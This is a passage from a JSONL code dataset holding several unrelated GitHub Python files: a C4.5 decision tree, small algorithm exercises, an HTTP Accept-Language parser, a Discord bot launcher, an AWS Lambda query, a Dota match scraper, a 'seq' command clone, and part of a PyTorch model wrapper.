collections import Counter\n\nimport numpy as np\n\n\n# 节点类\nclass Node:\n def __init__(self, node_type, class_name, feature_name=None,\n info_gain_ratio_value=0.0):\n # 结点类型(internal或leaf)\n self.node_type = node_type\n # 特征名\n self.feature_name = feature_name\n # 类别名\n self.class_name = class_name\n # 子结点树\n self.child_nodes = []\n # Gini指数值\n self.info_gain_ratio_value = info_gain_ratio_value\n\n def __repr__(self):\n return json.dumps(self, indent=3, default=lambda obj: obj.__dict__, ensure_ascii=False)\n\n def add_sub_tree(self, key, sub_tree):\n self.child_nodes.append({\"condition\": key, \"sub_tree\": sub_tree})\n\n\nclass MyDecisionTree:\n def __init__(self, epsilon):\n self.epsilon = epsilon\n self.tree = None\n\n def fit(self, train_set, y, feature_names):\n features_indices = list(range(len(feature_names)))\n self.tree = self._fit(train_set, y, features_indices, feature_names)\n return self\n\n # C4.5算法\n def _fit(self, train_data, y, features_indices, feature_labels):\n LEAF = 'leaf'\n INTERNAL = 'internal'\n class_num = len(np.unique(y))\n\n # (1)如果训练数据集所有实例都属于同一类Ck\n label_set = set(y)\n if len(label_set) == 1:\n # 将Ck作为该结点的类\n return Node(node_type=LEAF, class_name=label_set.pop())\n\n # (2)如果特征集为空\n # 计算每一个类出现的个数\n class_len = Counter(y).most_common()\n (max_class, max_len) = class_len[0]\n\n if len(features_indices) == 0:\n # 将实例数最大的类Ck作为该结点的类\n return Node(LEAF, class_name=max_class)\n\n # (3)按式(5.10)计算信息增益,并选择信息增益最大的特征\n max_feature = 0\n max_gda = 0\n D = y.copy()\n # 计算特征集A中各特征\n for feature in features_indices:\n # 选择训练集中的第feature列(即第feature个特征)\n A = np.array(train_data[:, feature].flat)\n # 计算信息增益\n gda = self._calc_ent_grap(A, D)\n if self._calc_ent(A) != 0:\n # 计算信息增益比\n gda /= self._calc_ent(A)\n # 选择信息增益最大的特征Ag\n if gda > max_gda:\n max_gda, max_feature = gda, feature\n\n # (4)如果Ag信息增益小于阈值\n if max_gda < self.epsilon:\n # 将训练集中实例数最大的类Ck作为该结点的类\n return Node(LEAF, class_name=max_class)\n\n max_feature_label = feature_labels[max_feature]\n\n # (6)移除已选特征Ag\n sub_feature_indecs = np.setdiff1d(features_indices, max_feature)\n sub_feature_labels = np.setdiff1d(feature_labels, max_feature_label)\n\n # (5)构建非空子集\n # 构建结点\n feature_name = feature_labels[max_feature]\n tree = Node(INTERNAL, class_name=None, feature_name=feature_name,\n info_gain_ratio_value=max_gda)\n\n max_feature_col = np.array(train_data[:, max_feature].flat)\n # 将类按照对应的实例数递减顺序排列\n feature_value_list = [x[0] for x in Counter(max_feature_col).most_common()]\n # 遍历Ag的每一个可能值ai\n for feature_value in feature_value_list:\n index = []\n for i in range(len(y)):\n if train_data[i][max_feature] == feature_value:\n index.append(i)\n\n # 递归调用步(1)~步(5),得到子树\n sub_train_set = train_data[index]\n sub_train_label = y[index]\n sub_tree = self._fit(sub_train_set, sub_train_label, sub_feature_indecs, sub_feature_labels)\n # 在结点中,添加其子结点构成的树\n tree.add_sub_tree(feature_value, sub_tree)\n\n return tree\n\n # 计算数据集x的经验熵H(x)\n @staticmethod\n def _calc_ent(x):\n x_value_list = set([x[i] for i in range(x.shape[0])])\n ent = 0.0\n for x_value in x_value_list:\n p = float(x[x == x_value].shape[0]) / x.shape[0]\n logp = np.log2(p)\n ent -= p * logp\n\n return ent\n\n # 计算条件熵H(y/x)\n def _calc_condition_ent(self, x, y):\n x_value_list = set([x[i] for i in range(x.shape[0])])\n ent = 0.0\n for x_value in x_value_list:\n sub_y = y[x == x_value]\n temp_ent = self._calc_ent(sub_y)\n ent += (float(sub_y.shape[0]) / y.shape[0]) * temp_ent\n\n return ent\n\n # 计算信息增益\n def _calc_ent_grap(self, x, y):\n base_ent = self._calc_ent(y)\n condition_ent = self._calc_condition_ent(x, y)\n ent_grap = base_ent - condition_ent\n\n return ent_grap\n\n def __repr__(self):\n return str(self.tree)\n\n\nif __name__ == '__main__':\n # 表5.1的训练数据集\n feature_names = np.array([\"年龄\", \"有工作\", \"有自己的房子\", \"信贷情况\"])\n X_train = np.array([\n [\"青年\", \"否\", \"否\", \"一般\"],\n [\"青年\", \"否\", \"否\", \"好\"],\n [\"青年\", \"是\", \"否\", \"好\"],\n [\"青年\", \"是\", \"是\", \"一般\"],\n [\"青年\", \"否\", \"否\", \"一般\"],\n [\"中年\", \"否\", \"否\", \"一般\"],\n [\"中年\", \"否\", \"否\", \"好\"],\n [\"中年\", \"是\", \"是\", \"好\"],\n [\"中年\", \"否\", \"是\", \"非常好\"],\n [\"中年\", \"否\", \"是\", \"非常好\"],\n [\"老年\", \"否\", \"是\", \"非常好\"],\n [\"老年\", \"否\", \"是\", \"好\"],\n [\"老年\", \"是\", \"否\", \"好\"],\n [\"老年\", \"是\", \"否\", \"非常好\"],\n [\"老年\", \"否\", \"否\", \"一般\"]\n ])\n y = np.array([\"否\", \"否\", \"是\", \"是\", \"否\",\n \"否\", \"否\", \"是\", \"是\", \"是\",\n \"是\", \"是\", \"是\", \"是\", \"否\"])\n\n dt_tree = MyDecisionTree(epsilon=0.1)\n dt_tree.fit(X_train, y, feature_names)\n print(dt_tree)\n","repo_name":"datawhalechina/statistical-learning-method-solutions-manual","sub_path":"codes/ch05/my_decision_tree.py","file_name":"my_decision_tree.py","file_ext":"py","file_size_in_byte":6364,"program_lang":"python","lang":"en","doc_type":"code","stars":1427,"dataset":"github-code","pt":"52"} +{"seq_id":"71267948006","text":"def fibonacchi(n):\n memo = [0] * (n + 1)\n memo[0] = 0\n memo[1] = 1\n\n for i in range(2, n + 1):\n memo[i] = memo[i-1] + memo[i-2] \n return memo[-1]\n \ndef solution(n):\n DIVISOR = 1234567\n return fibonacchi(n) % DIVISOR\n","repo_name":"eunbinhyun/codingTest","sub_path":"Programmers/Lv3_피보나치 수.py","file_name":"Lv3_피보나치 수.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32868024527","text":"import logging\nimport re\n\nfrom collections import namedtuple\nfrom operator import attrgetter\n\nVALIDATE_LANG_REGEX = re.compile('^[a-z]+$', flags=re.IGNORECASE)\nQUALITY_VAL_SUB_REGEX = re.compile('^q=', flags=re.IGNORECASE)\nDEFAULT_QUALITY_VALUE = 1.0\nMAX_HEADER_LEN = 8192\nLang = namedtuple('Lang', ('language', 'locale', 'quality'))\n\nlogger = logging.getLogger(__name__)\n\n\ndef parse_accept_language(accept_language_str, default_quality=None):\n \"\"\"\n Parse a RFC 2616 Accept-Language string.\n https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14\n\n :param accept_language_str: A string in RFC 2616 format.\n :type accept_language_str: str\n :returns: List of `Lang` namedtuples.\n :rtype: list\n\n :Example:\n\n >>> parse_accept_language('en-US,el;q=0.8')\n [\n Lang(locale='en_US', language='en', quality=1.0),\n Lang(locale=None, language='el', quality=0.8),\n ]\n\n \"\"\"\n if not accept_language_str:\n return []\n\n if len(accept_language_str) > MAX_HEADER_LEN:\n raise ValueError('Accept-Language too long, max length is 8192')\n\n parsed_langs = []\n for accept_lang_segment in accept_language_str.split(','):\n quality_value = default_quality or DEFAULT_QUALITY_VALUE\n lang_code = accept_lang_segment.strip()\n if ';' in accept_lang_segment:\n lang_code, quality_value = accept_lang_segment.split(';')\n quality_value = float(QUALITY_VAL_SUB_REGEX.sub('', quality_value))\n\n lang_code_components = re.split('-|_', lang_code)\n if not all(VALIDATE_LANG_REGEX.match(c) for c in lang_code_components):\n continue\n\n if len(lang_code_components) == 1:\n # language code 2/3 letters, e.g. fr\n language = lang_code_components[0].lower()\n locale = None\n else:\n # full language tag, e.g. en-US\n language = lang_code_components[0].lower()\n locale = '{}_{}'.format(\n language, lang_code_components[1].upper(),\n )\n parsed_langs.append(\n Lang(locale=locale, language=language, quality=quality_value)\n )\n return sorted(parsed_langs, key=attrgetter('quality'), reverse=True)\n","repo_name":"xelven/parse-accept-language","sub_path":"src/accept_language/accept_language.py","file_name":"accept_language.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"9680940160","text":"import json\nimport logging\nimport os\nimport sys\n\nfrom multiprocessing import Process\n\nimport discord\n\nfrom aiohttp import ClientSession\nfrom discord.ext.commands import Bot, when_mentioned_or\nfrom loguru import logger\n\n\nos.environ[\"JISHAKU_NO_UNDERSCORE\"] = \"True\"\nlogging.getLogger(\"discord\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"discord.http\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"discord.client\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"discord.gateway\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"discord.ext.ipc.server\").setLevel(logging.CRITICAL)\n\n\nclass Cluster(Bot):\n def __init__(self):\n super().__init__(\n command_prefix=when_mentioned_or(\"---\"),\n strip_after_prefix=True,\n case_insensitive=True,\n max_messages=10,\n command_attrs=dict(hidden=True),\n intents=discord.Intents(\n guilds=True,\n members=True,\n messages=True,\n message_content=True,\n voice_states=True,\n ),\n activity=discord.Activity(type=discord.ActivityType.competing, name=\"discord.gg/wock\"),\n allowed_mentions=discord.AllowedMentions(everyone=False, roles=False, users=True, replied_user=False),\n owner_ids=[1004836998151950358],\n )\n self.logger = logger\n self.logger.remove()\n self.logger.add(\n sys.stdout,\n colorize=True,\n format=(\n \"[{time:YYYY-MM-DD HH:MM:SS}] (cluster:{function}) @ {message}\"\n ),\n )\n\n async def on_ready(self):\n self.logger.success(f\"Logged in as {self.user} ({self.user.id})\")\n\n async def setup_hook(self):\n await self.load_extension(\"jishaku\")\n # await self.load_extension(\"cogs.developer\")\n\n self.session: ClientSession = self.http._HTTPClient__session\n\n async def on_command(self, ctx):\n self.logger.info(f\"{ctx.author} ({ctx.author.id}) ran command {ctx.command}\")\n\n\nif __name__ == \"__main__\":\n try:\n config = json.loads(open(\"config.json\", \"r\").read())\n except FileNotFoundError:\n config = json.loads(open(\"../config.json\", \"r\").read())\n\n tasks = list()\n for token in config.get(\"music_tokens\"):\n tasks.append(\n Process(\n name=(\"wock:cluster\" + str(len(tasks))),\n target=Cluster().run,\n args=(token,),\n )\n )\n\n for process in tasks:\n process.start()\n","repo_name":"hifthot/skidcity","sub_path":"wock/helpers/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"28247002739","text":"import json, boto3, os\nfrom boto3.dynamodb.conditions import Key\n\nTABLE_NAME = os.environ['TABLE_NAME']\n\ndef handler(event, context):\n dynamodb = boto3.resource('dynamodb')\n event_id = event['queryStringParameters']['id']\n table = dynamodb.Table(TABLE_NAME)\n response = table.query(\n KeyConditionExpression=Key('id').eq(event_id)\n )\n \n return {\n 'statusCode': 200,\n 'body': json.dumps(response['Items'])\n }\n","repo_name":"n3d4ti/soyal-proxy-stack","sub_path":"lambda/getevent.py","file_name":"getevent.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43093483869","text":"from requests_html import HTMLSession\nimport requests\n\n\nsession = HTMLSession()\nurl = \"https://www.opendota.com/matches/highMmr\"\nr = session.get(url)\nr.html.render(sleep=1, keep_page=True, scrolldown=2, timeout=25)\nmatches_not_final = {}\nr = r.html.links\n\n\nmatches = {}\nt = 0\nfor i in r:\n if len(i) == 19:\n matches_not_final[t] = i[9:]\n t += 1\nprint(1)\nprint(len(matches_not_final))\nfor i in range(len(matches_not_final)):\n with open(\"matches.txt\", \"a\") as a:\n\n response = requests.get('https://api.opendota.com/api/matches/' + matches_not_final[i]).json()\n\n radiant = []\n dire = []\n if \"picks_bans\" in response:\n for j in range(len(response['picks_bans'])):\n if response['picks_bans'][j][\"team\"] == 0 and response[\"picks_bans\"][j][\"is_pick\"] is True:\n radiant.append(str(response[\"picks_bans\"][j][\"hero_id\"]))\n elif response['picks_bans'][j][\"team\"] == 1 and response[\"picks_bans\"][j][\"is_pick\"] is True:\n dire.append(str(response[\"picks_bans\"][j][\"hero_id\"]))\n sl = dict()\n with open (\"heroes.txt\", \"r\") as f:\n s = f.read().split(\"\\n\")\n for row in s:\n row = row.split(\";\")\n sl[row[0]] = row[1]\n if \"radiant_win\" in response:\n radiantWin = response[\"radiant_win\"]\n if len(radiant) == 5 and len(dire) == 5:\n for j in range(5):\n radiant[j] = sl[radiant[j]]\n for j in range(5):\n dire[j] = sl[dire[j]]\n if i < len(matches_not_final):\n a.write(f\"{response['match_id']};{radiant};{dire};{radiantWin}\\n\")\n else:\n a.write(f\"{response['match_id']};{radiant};{dire};{radiantWin}\")\n radiant = []\n dire = []\n radiantWin = None\n response = \"\"\n\nprint(\"END\")\n","repo_name":"BruSeLY/pythonProject9","sub_path":"MatchParse.py","file_name":"MatchParse.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16069523381","text":"#! python3\n\"\"\"\nwrite by liucz 2015-10-14\nimitate 'seq' command in Linux Shell\n\"\"\"\n\nimport sys\nimport argparse\n\n\ndef buildParser():\n\tparser = argparse.ArgumentParser(formatter_class = argparse.RawTextHelpFormatter)\n\t# add usage\n\tusage = 'seq.py [OPTION] LAST' + '\\n' + \\\n\t\t\t' or: seq.py [OPTION] FIRST LAST' + '\\n' + \\\n\t\t\t' or: seq.py [OPTION] FIRST INCREMENT LAST' + '\\n' + \\\n\t\t\t'Print numbers from FIRST to LAST, in steps of INCREMENT'\n\tparser.usage = usage\n\t# add description\n\tdescription = \"\"\"\n If FIRST or INCREMENT is omitted, it defaults to 1. That is, an\n omitted INCREMENT defaults to 1 even when LAST is smaller than FIRST.\n FIRST, INCREMENT, and LAST are interpreted as floating point values.\n INCREMENT is usually positive if FIRST is smaller than LAST, and\n INCREMENT is usually negative if FIRST is greater than LAST.\n FORMAT must be suitable for printing one argument of type `double';\n it defaults to %.PRECf if FIRST, INCREMENT, and LAST are all fixed point\n decimal numbers with maximum precision PREC, and to %g otherwise.\n\"\"\"\n\tparser.description = description\n\t# add arguments\n\tparser.add_argument('-f', '--format',\n\t\t\t\t\t\tnargs = '?',\n\t\t\t\t\t\ttype = str,\n\t\t\t\t\t\thelp = 'use printf style FORMAT')\n\tparser.add_argument('-s', '--separator',\n\t\t\t\t\t\tnargs = '?',\n\t\t\t\t\t\ttype = str,\n\t\t\t\t\t\thelp = 'use STRING to separate numbers (default \\\\n)')\n\tparser.add_argument('-w', '--equal-width',\n\t\t\t\t\t\taction = 'store_true',\n\t\t\t\t\t\thelp = 'equalize width by padding with leading zeros')\n\tparser.add_argument('nums',\n\t\t\t\t\t\tnargs = '+',\n\t\t\t\t\t\ttype = str)\n\treturn parser\n\n\ndef processArgs(args):\n\tif len(args.nums) > 3:\n\t\tsys.stderr.write('seq.py: extra operands: [%s]\\n' % ' '.join(args.nums[3:]))\n\t\treturn False\n\tif args.equal_width and args.format is not None:\n\t\tsys.stderr.write('seq.py: format string may not specified when printing equal width strings\\n')\n\t\treturn False\n\n\tprecision = 0\n\tfor s in args.nums:\n\t\ttry:\n\t\t\t_ = float(s)\n\t\t\tpoint = s.find('.')\n\t\t\tif point != -1:\n\t\t\t\tprecision = max(precision, len(s) - point - 1)\n\t\texcept:\n\t\t\tsys.stderr.write('seq.py: [%s] is an invalid number\\n' % s)\n\t\t\treturn False\n\n\tn = len(args.nums)\n\tif n == 1:\n\t\targs.nums = [1.0, 1.0, float(args.nums[0])]\n\telif n == 2:\n\t\targs.nums = [float(args.nums[0]), 1.0, float(args.nums[1])]\n\telse:\n\t\targs.nums = [float(x) for x in args.nums]\n\n\tif args.format is None:\n\t\tif precision != 0:\n\t\t\targs.format = '%%.%df' % precision\n\t\telse:\n\t\t\targs.format = '%g'\n\tif args.separator is None:\n\t\targs.separator = '\\n'\n\n\treturn True\n\n\ndef main():\n\tparser = buildParser()\n\targs = parser.parse_args()\n\tprint(args)\n\tif not processArgs(args):\n\t\treturn\n\n\tif not args.equal_width:\n\t\tfirst = True\n\t\twhile args.nums[0] <= args.nums[2]:\n\t\t\tif first:\n\t\t\t\tfirst = False\n\t\t\telse:\n\t\t\t\tprint(args.separator, end = '')\n\t\t\ttry:\n\t\t\t\tprint(args.format % args.nums[0], end = '')\n\t\t\texcept:\n\t\t\t\tsys.stderr.write('seq.py: [%s] is an invalid format' % args.format)\n\t\t\t\treturn\n\t\t\targs.nums[0] += args.nums[1]\n\t\tprint()\n\telse:\n\t\tall = []\n\t\twidth = 0\n\t\twhile args.nums[0] <= args.nums[2]:\n\t\t\tall.append(args.format % args.nums[0])\n\t\t\twidth = max(width, len(all[-1]) if all[-1][0].isdigit() else len(all[-1]) - 1)\n\t\t\targs.nums[0] += args.nums[1]\n\t\tif args.format == '%g':\n\t\t\tprint(args.separator.join([s.rjust(width, '0') for s in all]))\n\t\telse:\n\t\t\tprint(args.separator.join(all))\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"uuuouou/PythonBash","sub_path":"seq.py","file_name":"seq.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24538062839","text":"\ndados_aluno = 'sistema_escola/dados_exportados/aluno.txt'\n\nfrom sistema_escola import dados_pessoa as p \n\nclass aluno (p.pessoa): \n def __init__(self):\n self.rg = \" \"\n self.cpf = \" \"\n self.convenio = \" \"\n self.matricula = \" \"\n self.facebook = \" \"\n self.linkedin = \" \"\n self.instagram = \" \"\n self.lista_aluno = \" \"\n super().__init__()\n\n def cadastro_aluno (self):\n super().cadastrar_pessoa() \n self.rg = input('Digite o RG: ')\n self.cpf = input('Digite o CPF: ')\n self.convenio = input('Digite o convenio: ')\n self.matricula = input('Digite a matricula: ')\n self.facebook = input('Digite o facebook: ')\n self.linkedin = input('Digite o linkedin: ')\n self.instagram = input('Digite o instagram: ')\n \n self.lista_aluno = [self.nome, self.celular, self.email, self.rg, self.cpf, self.convenio, self.matricula, self.facebook, self.linkedin, self.instagram]\n\n print('Cadastro realizado com sucesso! ')\n\n self.salvar()\n \n def salvar(self):\n with open(dados_aluno, 'a') as dados: \n dados.write(str(self.lista_aluno + '\\n'))\n\n\n def exibir_aluno(self):\n print ('[nome, celular, email, rg, cpf, convenio, matricula, facebook, linkedin, instagram]')\n with open (dados_aluno, 'r') as arquivo:\n for linha in arquivo:\n linhas_em_brancos = linha.strip()\n print(linhas_em_brancos)\n\n\n\n","repo_name":"natanascimento/LaboratorioProgramacao","sub_path":"LabProg/ME_2UN/sistema_escola/dados_aluno.py","file_name":"dados_aluno.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36341390279","text":"# Using names.txt (right click and 'Save Link/Target As...'), a 46K text file containing over five-thousand first names, \r\n# begin by sorting it into alphabetical order. Then working out the alphabetical value for each name,\r\n# multiply this value by its alphabetical position in the list to obtain a name score.\r\n# For example, when the list is sorted into alphabetical order, COLIN, which is worth 3 + 15 + 12 + 9 + 14 = 53, \r\n# is the 938th name in the list. So, COLIN would obtain a score of 938 × 53 = 49714.\r\n# What is the total of all the name scores in the file?\r\n\r\nletter_scores = {\"A\" : 1, \"B\": 2, \"C\": 3, \"D\" : 4, \"E\" : 5, \"F\": 6, \"G\" : 7, \"H\": 8, \"I\" : 9, \"J\": 10, \"K\": 11, \"L\": 12,\r\n\"M\": 13, \"N\": 14, \"O\": 15, \"P\": 16, \"Q\": 17, \"R\": 18, \"S\": 19, \"T\": 20, \"U\": 21, \"V\": 22, \"W\": 23, \"X\": 24, \"Y\": 25, \"Z\": 26}\r\n\r\ninfile = open(\"euler22_names.txt\", \"r\")\r\nnames = infile.read().split(\",\")\r\nnames.sort()\r\n\r\ndef letter_score(name):\r\n score = 0\r\n for char in name:\r\n score += letter_scores[char]\r\n return score\r\n\r\ndef name_score(names_list):\r\n total_score = 0\r\n for index in range(len(names_list)):\r\n total_score += letter_score(names_list[index]) * (index+1)\r\n return total_score\r\n\r\nprint(name_score(names))","repo_name":"collinshayden/project-euler","sub_path":"python/euler22/euler22.py","file_name":"euler22.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18407071422","text":"import os\nimport shutil\nimport sys\nimport tempfile\nfrom time import time\nfrom typing import AnyStr, Callable, List, Optional, Type\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nfrom slingpy.data_access.data_sources.abstract_data_source import AbstractDataSource\nfrom slingpy.data_access.data_sources.composite_data_source import CompositeDataSource\nfrom slingpy.losses.torch_loss import TorchLoss\nfrom slingpy.models.abstract_base_model import AbstractBaseModel\nfrom slingpy.models.tarfile_serialisation_base_model import TarfileSerialisationBaseModel\nfrom slingpy.transforms.abstract_transform import AbstractTransform\nfrom slingpy.utils.logging import info\nfrom slingpy.utils.plugin_tools import PluginTools\n\nif sys.version_info < (3, 0, 0):\n import cPickle as pickle\nelse:\n import pickle\n\n\nclass TorchModel(TarfileSerialisationBaseModel):\n def __init__(\n self,\n base_module: nn.Module, # Note: __base_module__ must also implement ArgumentDictionary.\n loss: TorchLoss,\n preprocess_x_fn: Optional[Callable[[List[torch.Tensor]], List[torch.Tensor]]] = None,\n preprocess_y_fn: Optional[Callable[[List[torch.Tensor]], List[torch.Tensor]]] = None,\n postprocess_y_fn: Optional[Callable[[List[torch.Tensor]], List[torch.Tensor]]] = None,\n collate_fn: Optional[Callable] = None,\n target_transformer: Optional[AbstractTransform] = None,\n learning_rate: float = 1e-3,\n early_stopping_patience: int = 13,\n batch_size: int = 256,\n num_epochs: int = 100,\n l2_weight: float = 1e-4,\n ):\n super().__init__()\n self.base_module = base_module\n self.target_transformer = target_transformer\n self.loss = loss\n self.preprocess_x_fn = preprocess_x_fn\n self.preprocess_y_fn = preprocess_y_fn\n self.postprocess_y_fn = postprocess_y_fn\n self.collate_fn = collate_fn\n self.model = None\n self.l2_weight = l2_weight\n self.num_epochs = num_epochs\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n self.early_stopping_patience = early_stopping_patience\n\n def get_config(self, deep=True):\n config = super().get_config(deep=deep)\n del config[\"base_module\"]\n del config[\"target_transformer\"]\n del config[\"loss\"]\n del config[\"preprocess_x_fn\"]\n del config[\"preprocess_y_fn\"]\n del config[\"postprocess_y_fn\"]\n return config\n\n def get_model_prediction(self, data: List[torch.Tensor]) -> List[torch.Tensor]:\n y_pred = self.model(data)\n if self.postprocess_y_fn:\n y_pred = self.postprocess_y_fn(y_pred)\n if self.target_transformer:\n y_pred = self.target_transformer.inverse_transform(y_pred)\n return y_pred\n\n def predict(\n self, dataset_x: AbstractDataSource, batch_size: int = 256, row_names: List[AnyStr] = None\n ) -> List[np.ndarray]:\n if self.model is None:\n self.model = self.build()\n if row_names is None:\n row_names = dataset_x.get_row_names()\n\n self.model.eval()\n all_ids, y_preds, y_trues = [], [], []\n while len(row_names) > 0:\n current_indices = row_names[:batch_size]\n row_names = row_names[batch_size:]\n data = dataset_x.get_data(current_indices)\n data = list(map(torch.from_numpy, data))\n y_pred = self.get_model_prediction(data)\n y_preds.append(y_pred)\n y_preds = list(map(lambda y_preds_i: torch.cat(y_preds_i, dim=0).detach().numpy(), zip(*y_preds)))\n return y_preds\n\n def _make_loader(self, data_source, is_training=False):\n loader = DataLoader(\n data_source,\n batch_size=self.batch_size,\n collate_fn=self.collate_fn,\n shuffle=True,\n sampler=None,\n batch_sampler=None,\n num_workers=0,\n pin_memory=False,\n drop_last=False, # Must be set for training in case batch_size == 1 for last batch.\n timeout=0,\n worker_init_fn=None,\n )\n return loader\n\n def fit(\n self,\n train_x: AbstractDataSource,\n train_y: Optional[AbstractDataSource] = None,\n validation_set_x: Optional[AbstractDataSource] = None,\n validation_set_y: Optional[AbstractDataSource] = None,\n ) -> AbstractBaseModel:\n if self.model is None:\n self.model = self.build()\n\n temp_dir = tempfile.mkdtemp()\n model_file_path = os.path.join(temp_dir, \"model.pt\")\n\n # Save once up front in case training does not converge.\n torch.save(self.model.state_dict(), model_file_path)\n training_set = CompositeDataSource([train_x, train_y])\n loader_train = self._make_loader(training_set.to_torch(), is_training=True)\n loader_val = None\n if validation_set_y and validation_set_x:\n validation_set = CompositeDataSource([validation_set_x, validation_set_y])\n loader_val = self._make_loader(validation_set.to_torch())\n\n optimizer = optim.Adam(self.model.parameters(), lr=self.learning_rate, weight_decay=self.l2_weight)\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.model = self.model.to(device)\n\n def get_output_and_loss(model_inputs, model_labels):\n if self.preprocess_x_fn is not None:\n model_inputs = self.preprocess_x_fn(model_inputs)\n\n if self.preprocess_y_fn is not None:\n model_labels = self.preprocess_y_fn(model_labels)\n\n y_pred_i = [y.cpu() for y in self.model([m.to(device) for m in model_inputs])]\n loss = self.loss(y_pred_i, model_labels)\n return y_pred_i, loss\n\n best_val_loss, num_epochs_no_improvement, num_labels = float(\"inf\"), 0, len(train_y.get_shape())\n for epoch in range(self.num_epochs): # Loop over the dataset multiple times.\n self.model.train()\n start_time = time()\n\n train_loss, num_batches_seen = 0.0, 0\n for i, batch_data in enumerate(loader_train):\n inputs, labels = batch_data[:-num_labels], batch_data[-num_labels:]\n\n if self.target_transformer is not None:\n labels = self.target_transformer.transform(labels)\n\n optimizer.zero_grad()\n y_pred_i, loss = get_output_and_loss(inputs, labels)\n\n loss.backward()\n optimizer.step()\n train_loss += loss.item()\n num_batches_seen += 1\n train_loss /= num_batches_seen\n\n val_loss = train_loss\n if loader_val:\n self.model.eval()\n val_loss, num_batches_seen_val = 0.0, 0\n for batch_data in loader_val:\n inputs, labels = batch_data[:-num_labels], batch_data[-num_labels:]\n\n if self.target_transformer is not None:\n labels = self.target_transformer.transform(labels)\n\n y_pred_i, loss = get_output_and_loss(inputs, labels)\n\n val_loss += loss\n num_batches_seen_val += 1\n val_loss /= num_batches_seen_val\n\n if val_loss < best_val_loss:\n best_val_loss = val_loss\n torch.save(self.model.state_dict(), model_file_path)\n num_epochs_no_improvement = 0\n else:\n num_epochs_no_improvement += 1\n\n epoch_duration = time() - start_time\n info(\n f\"Epoch {epoch+1:d}/{self.num_epochs:d} [{epoch_duration:.2f}s]: \"\n f\"loss = {train_loss:.4f}, val_loss = {val_loss:.4f}\"\n )\n\n if num_epochs_no_improvement >= self.early_stopping_patience:\n break\n\n info(\"Resetting to best encountered model at\", model_file_path, \".\")\n\n # Reset to the best model observed in training.\n self.model = self.model.cpu()\n self.model.load_state_dict(torch.load(model_file_path))\n shutil.rmtree(temp_dir) # Cleanup temporary directory after training.\n return self\n\n def build(self) -> nn.Module:\n available_model_params = PluginTools.get_available_instance_parameters(\n self.base_module, self.base_module.get_params()\n )\n return self.base_module.__class__(**available_model_params)\n\n @classmethod\n def get_model_save_file_name(cls) -> AnyStr:\n return \"model.pt\"\n\n @classmethod\n def get_target_transformer_save_file_name(cls) -> AnyStr:\n return \"target_transformer.pickle\"\n\n @classmethod\n def get_base_module_save_file_name(cls) -> AnyStr:\n return \"base_module.pickle\"\n\n @classmethod\n def get_loss_save_file_name(cls) -> AnyStr:\n return \"loss.pickle\"\n\n @classmethod\n def get_preprocess_x_fn_save_file_name(cls) -> AnyStr:\n return \"preprocess_x_fn.pickle\"\n\n @classmethod\n def get_preprocess_y_fn_save_file_name(cls) -> AnyStr:\n return \"preprocess_y_fn.pickle\"\n\n @classmethod\n def get_postprocess_y_fn_save_file_name(cls) -> AnyStr:\n return \"postprocess_y_fn.pickle\"\n\n @classmethod\n def get_collate_fn_save_file_name(cls) -> AnyStr:\n return \"collate_fn.pickle\"\n\n def save_folder(self, save_folder_path, overwrite=True):\n self.save_config(\n save_folder_path, self.get_config(deep=False), self.get_config_file_name(), overwrite, self.__class__\n )\n model_save_path = os.path.join(save_folder_path, self.get_model_save_file_name())\n torch.save(self.model.state_dict(), model_save_path)\n\n base_module_path = os.path.join(save_folder_path, self.get_base_module_save_file_name())\n with open(base_module_path, \"wb\") as save_file:\n pickle.dump(self.base_module, save_file, pickle.HIGHEST_PROTOCOL)\n\n loss_save_path = os.path.join(save_folder_path, self.get_loss_save_file_name())\n with open(loss_save_path, \"wb\") as save_file:\n pickle.dump(self.loss, save_file, pickle.HIGHEST_PROTOCOL)\n\n if self.target_transformer is not None:\n target_transformer_save_path = os.path.join(save_folder_path, self.get_target_transformer_save_file_name())\n with open(target_transformer_save_path, \"wb\") as save_file:\n pickle.dump(self.target_transformer, save_file, pickle.HIGHEST_PROTOCOL)\n\n if self.preprocess_x_fn is not None:\n preprocess_x_fn_path = os.path.join(save_folder_path, self.get_preprocess_x_fn_save_file_name())\n with open(preprocess_x_fn_path, \"wb\") as save_file:\n pickle.dump(self.preprocess_x_fn, save_file, pickle.HIGHEST_PROTOCOL)\n\n if self.preprocess_y_fn is not None:\n preprocess_y_fn_path = os.path.join(save_folder_path, self.get_preprocess_y_fn_save_file_name())\n with open(preprocess_y_fn_path, \"wb\") as save_file:\n pickle.dump(self.preprocess_y_fn, save_file, pickle.HIGHEST_PROTOCOL)\n\n if self.collate_fn is not None:\n collate_fn_path = os.path.join(save_folder_path, self.get_collate_fn_save_file_name())\n with open(collate_fn_path, \"wb\") as save_file:\n pickle.dump(self.collate_fn, save_file, pickle.HIGHEST_PROTOCOL)\n\n @classmethod\n def 